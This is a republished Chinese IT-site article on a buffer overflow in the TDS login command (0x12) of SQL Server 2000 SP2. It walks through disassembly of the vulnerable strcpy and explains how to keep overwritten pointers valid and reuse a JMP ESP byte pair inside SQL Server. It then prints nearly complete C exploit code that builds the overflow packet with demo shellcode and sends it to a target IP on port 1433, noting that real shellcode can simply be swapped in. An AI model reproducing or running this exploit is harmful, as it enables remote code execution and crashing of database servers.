首页  登陆  注册  博客集  下载频道  网络硬盘  学院论坛  家园
IT学院 网站地图 网站地图
收藏本站 收藏本站
高级搜索 高级搜索
 新闻IT新闻 互联网 微软 黑客新闻 网络网络协议 故障 网络管理 TCP/IP 无线技术 解决方案 黑客技术 漏洞 软件评测 安全资讯
 数据MSsql Oracle Mysql PL/SQL 备份 系统:Linux vista Windows FTP 防火墙 注册表 服务器行情 服务器应用 解决方案 WEB服务器
 墙纸风景壁纸 游戏壁纸 体育壁纸 汽车壁纸 人文壁纸 影视壁纸 广告壁纸 花卉壁纸 节日壁纸 动漫壁纸 明星壁纸 绘画壁纸 月历壁纸
当前位置: > 主页>数据库技术>MSsql >SQL SERVER 2000 SP2 12命令的溢出攻击实现
热门文章排行
 
热门文章排行 巧用触发器对"SQL Serve
SQL Server 2000问答
  问:SQL Server 200
ADO数据访问一点通
SQL Server成为低成本建
SQL Server数据库六种数
SQL Server性能分析参
将ACCESS的转化为SQL SE
拷贝的SQL Server 7数据
优化SQL Server服务器内
精采文章推荐
 
精采文章推荐 SQL Server存储过程入门
SQL的基本操作(1.数据类
SQLMail的原理及实际应
维护SQL Server数据库
简单查询和联合查询两方
怎样用SQL 2000 生成XML
SQL Server 2000的安全
SQL配合3389的一次入侵
SQL SERVER 2000 SP2 12
SQL SERVER 2000通讯管
最新更新文章
 
最新更新文章 SQL Server存储过程入门
用ASP调用SQL的视图和存
SQL的基本操作(4.数据的
SQL的基本操作(3.表的相
SQL的基本操作(2.数据库
SQL的基本操作(1.数据类
SQLMail的原理及实际应
维护SQL Server数据库
配置SQL Server 2000选
Jboss下MS SQL Server配

SQL SERVER 2000 SP2 12命令的溢出攻击实现

编辑:   来源:  日期:2008-02-24   我要投稿      家园

  这几天开始用汇编看sql server的代码,发现SQL SERVER的1433 TDS协议中,0X12号命令(请求验证)存在一个溢出问题,在传送最后的MSSQLSERVER后面跟上572个以上的字节会导致溢出,心里一喜,但吸取上次教训,一查,发现8月12这个漏洞已经被公告。哎
  但是一看,公告代码只指出溢出,但是未实现溢出,仔细一看,要实现这个溢出还是很麻烦的,涉及到很多问题:
  
  下面是汇编代码分析:
  前面接受信息的大致流程:
  请求
  text:004DE099 call sub_410E22
  .text:00410ED3 call dword ptr [eax+14h]
  调用ssnetlib的获取异步socket到来的信息
  42CF42F2:连接并接收信息
  .text:00410ED6 add esp, 18h
  
  处理数据:
  42cf719e处调用,下个返回地址应该是42cf71a3,溢出就是要覆盖这个返回地址
  溢出产生在:42cf72cf处的strcpy上
  但是其中问题存在于:strcpy拷贝的地址离42cf71a3的地址有572个字节,其中存在很多其他变量的指针,如果随便覆盖掉的话,在这个子过程中会继续引用他们,那么就引起访问违例,直接被异常给捕获了,而无法达到执行代码的目的,而其其过程是一个循环执行过程,会导致很复杂的计算。
  涉及到的需要继续引用覆盖地址值的代码有:
  .text:42CF73D9 mov edx, [ebp+var_4]
  .text:42CF73DC add edx, 5
  .text:42CF73DF mov [ebp+var_4], edx
  .text:42CF7263 mov edx, [ebp+arg_4]
  .text:42CF7266 add edx, [ebp+var_4]
  .text:42CF7269 xor eax, eax
  .text:42CF726B mov al, [edx]
  .text:42CF726D mov [ebp+var_14], eax
  .text:42CF7270 mov ecx, [ebp+arg_4]
  .text:42CF7320 mov [ebp+var_224], ecx
  .text:42CF7326 mov edx, [ebp+arg_0]
  .text:42CF7329 mov eax, [ebp+var_224]
  .text:42CF732F mov ecx, [eax]
  
  可以发现以上值主要是涉及到
  要覆盖地址-8
  要覆盖地址+4
  要覆盖地址+8
  要覆盖地址+C
  要覆盖地址+10
  要覆盖地址+14
  这几个地址上,而且主要是写操作
  并且要覆盖地址-4会和要覆盖地址+4会进行一次加操作,其操作的地址范围也应该为可读写。
  因此很容易想到,用SQL SERVER固定分配的某个数据区的地址取带该区就不会引起异常了。而要覆盖地址-4最好为0xffffffff左右的值,其他地址加上这个值也在一个数据区范围以内,问题就不大要覆盖地址+4,要覆盖地址+8,要覆盖地址+C,要覆盖地址+10,要覆盖地址+14的值要仔细选取,因为JMP ESP跳回来以后正好在从要覆盖地址+4处开始执行,需要其汇编代码不能引起异常和跳转到其他地方去,否则就无法执行我们真正能实现的shellcode了。
  另外就是如果shellcode全部放在要覆盖地址+18后执行也有问题,其中可能在同一个过程中会用到其中的值,因此把shellcode最好放在前面,在覆盖地址+18后用少量的代码跳转回去,避免大量覆盖引起异常。
  另外就是jmp esp代码的选择,其实不同服务器版本地址不同,但是我想在SQL SERVER代码本身中找更好。只要存在一个ffe4数字就可,不管是不是真的jmp esp代码,这样shellcode可以更简单,也更通用一些,仔细一看,sql server中还真有这个组合,位置在42B0C9DC处。OK,那么主要问题就搞定了
  我的环境是:sql server 2000+sp2+最新的补掉sql server udp漏洞的q36几几的。
  下面是演示代码,其中没有实现真正的shellcode,而是实现了打印了一行sql hack demo,并且当掉了SQL SERVER服务器,其实只要把其中代码置换成shellcode就可以了,当然需要考虑大小问题,如果放在后面可以不考虑大小,但是可能会引起一些异常,我没仔细调试,放在前面许可的长度大概有500多字节左右,做SHELLCODE也应该足够了。
  大家在cmd下运行sqlsvrer可以看到打印出的sql hack demo字符,并且SQL 当掉,如果是服务或管理工具启动,则无法打印sql hack demo,但SQL会当掉,注意此处当掉不是因为异常,而是执行了shellcode的exit导致的。
  #include
  #include
  #include
  #include
  #include <windows.h>
  #include
  
  int main(int argc, char* argv[])
  {
  WSADATA WSAData;
  SOCKET sock;
  SOCKADDR_IN addr_in;
  unsigned char buf0[48+572]={
  0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
  0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
  0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};
  
  unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0};
  char exploit_code[21]= "\x83\xc4\x81\x8b\xc4\x50\xff\x15\xf8\xe0\xcf\x42"
  "\x33\xc0\x50\xff\x15\x84\xe0\xcf\x42";
  //这个是打印"sql hack demo"并退出sql server的shellcode代码
  int i;
  int len;
  const int SNDBUF = 0;
  const int TCPNODELAY = TRUE;
  const int BROADCAST = TRUE;
  int fo=572; //需要覆盖的返回地址偏移处
  if (argc<2)
  {
  return FALSE;
  }
  for(i=0x34;i<584;i++)
  buf0[i]=0x90;
  //示范打印的字符串
  buf0[0x34+0x10]=''s'';
  buf0[0x34+0x11]=''q'';
  buf0[0x34+0x12]=''l'';
  buf0[0x34+0x13]='' '';
  buf0[0x34+0x14]=''h'';
  buf0[0x34+0x15]=''a'';
  buf0[0x34+0x16]=''c'';
  buf0[0x34+0x17]=''k'';
  buf0[0x34+0x18]='' '';
  buf0[0x34+0x19]=''d'';
  buf0[0x34+0x1a]=''e'';
  buf0[0x34+0x1b]=''m'';
  buf0[0x34+0x1c]=''o'';
  buf0[0x34+0x1d]=''\n'';
  
  //防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改
  buf0[fo-0x8]=0xff;
  buf0[fo-0x7]=0xff;
  buf0[fo-0x6]=0xff;
  buf0[fo-0x5]=0xff;
  //42D01CFC 为SQL SERVER固定的数据区域,且其汇编代码不引起问题
  buf0[fo+4]=0xfc;
  buf0[fo+5]=0x1c;
  buf0[fo+6]=0xd0;
  buf0[fo+7]=0x42;
  //42d01c72 为固定的数据区域才能可写
  buf0[fo+8]=0x64;
  buf0[fo+9]=0x0d;
  buf0[fo+0xa]=0xd0;
  buf0[fo+0xb]=0x42;
  //42D01CFC 为固定的数据区域才能可写
  buf0[fo+0xc]=0xfc;
  buf0[fo+0xd]=0x1c;
  buf0[fo+0xe]=0xd0;
  buf0[fo+0xf]=0x42;
  //42d01c72 为固定的数据区域才能可写
  buf0[fo+0x10]=0x64;
  buf0[fo+0x11]=0x0d;
  buf0[fo+0x12]=0xd0;
  buf0[fo+0x13]=0x42;
  //42d01c72 为固定的数据区域才能可写
  buf0[fo+0x14]=0x64;
  buf0[fo+0x15]=0x0d;
  buf0[fo+0x16]=0xd0;
  buf0[fo+0x17]=0x42;
  //在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。
  
  //然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了
  //写入跳回去的代码buf0[fo+0xc]=0x42;
  buf0[fo+0x18]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x19]=0x83;
  buf0[fo+0x1a]=0xc4;
  buf0[fo+0x1b]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x1C]=0x83;
  buf0[fo+0x1D]=0xc4;
  buf0[fo+0x1E]=0x81;
  //ADD ESP,0XFFFFFF92
  buf0[fo+0x1f]=0x83;
  buf0[fo+0x20]=0xc4;
  buf0[fo+0x21]=0x81;
  //JMP ESP
  buf0[fo+0x22]=0xff;
  buf0[fo+0x23]=0xe4;
  //以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去
  //不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的
  
  memcpy(buf0+fo-8-364,exploit_code,21);
  //拷贝SHELLCODE
  
  //FFE4=JMP ESP
  //设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方
  buf0[fo]=0xDC;
  buf0[fo+1]=0xC9;
  buf0[fo+2]=0xB0;
  buf0[fo+3]=0x42;
  //需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可
  
  if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  {
  printf("WSAStartup error.Error:%d\n",WSAGetLastError());
  return FALSE;
  }
  if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  {
  printf("Socket failed.Error:%d\n",WSAGetLastError());
  return FALSE;
  }
  
  addr_in.sin_family=AF_INET;
  addr_in.sin_port=htons(1433);
  addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  buf0[1]=1;
  if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return FALSE;
  }
  if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR)
  {
  printf("Send failed.Error:%d\n",WSAGetLastError());
  return FALSE;
  }



上一篇:SQL SERVER 2000通讯管道后复用劫持  
下一篇:SQL配合3389的一次入侵
 关键字:  
文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【论坛讨论

   相关文章:

   文章评论:(0条)
  
 请留名: 匿名评论   点击查看所有评论
 

  责任编辑:IT学院  声明:刊登此文章是为了传递更多信息,文章内容仅供参考,转载请注明出处。